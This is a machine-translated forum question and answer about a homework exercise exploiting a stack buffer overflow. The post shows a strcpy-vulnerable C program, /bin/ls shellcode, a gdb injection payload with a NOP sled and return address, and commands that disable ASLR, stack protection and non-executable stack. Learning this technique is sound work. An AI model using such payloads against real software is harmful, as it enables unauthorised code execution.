作业 – 无法利用缓冲区溢出

我试图学习在Backtrack Linux上利用简单的缓冲区流技术。

这是我的C程序

#include  #include  int main(int argc, char **argv) { char buffer[500]; if(argc==2) { strcpy(buffer, argv[1]); //vulnerable function } return 0; } 

这是我正在使用的shellcode,它对应于simple /bin/ls \ x31 \ xc0 \ x83 \ xec \ x01 \ x88 \ x04 \ x24 \ x68 \ x6e \ x2f \ x6c \ x73 \ x66 \ x68 \ x62 \ x69 \ X83 \ XEC \ X01 \ XC6 \ X04 \ X24 \ X2F \ X89 \ XE6 \ X50 \ X56 \ XB0 \ X0B \ X89 \ XF3 \ X89 \ XE1 \ X31 \ XD2 \ XCD \ X80 \ XB0 \ X01 \ X31 \ XDB \ XCD \ X80

我使用以下命令在gdb中注入此shellcode

 run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35') 

当我逐步完成应用程序时,它会在最终的ret指令上生成SIG FAULT 。 此时EIP正确设置为0xffffd30c 。 该地址是可寻址的,包含一系列NOP ,后面是我的shell代码,如有效负载中所示。

我已经禁用了ASLR sudo echo 0 > /proc/sys/kernel/randomize_va_space

并使用fno-stack-protector选项编译我的二进制文件。

不知道SIGSEGV的原因是什么?

我已回答了我自己的问题,问题是“可执行堆栈保护”,其中堆栈内存无法执行。 这可以在gcc中禁用,如下所示

gcc -z execstack

您是否在GCC(-fno-stack-protector)中禁用了堆栈粉碎保护?

如何关闭gcc编译器优化以启用缓冲区溢出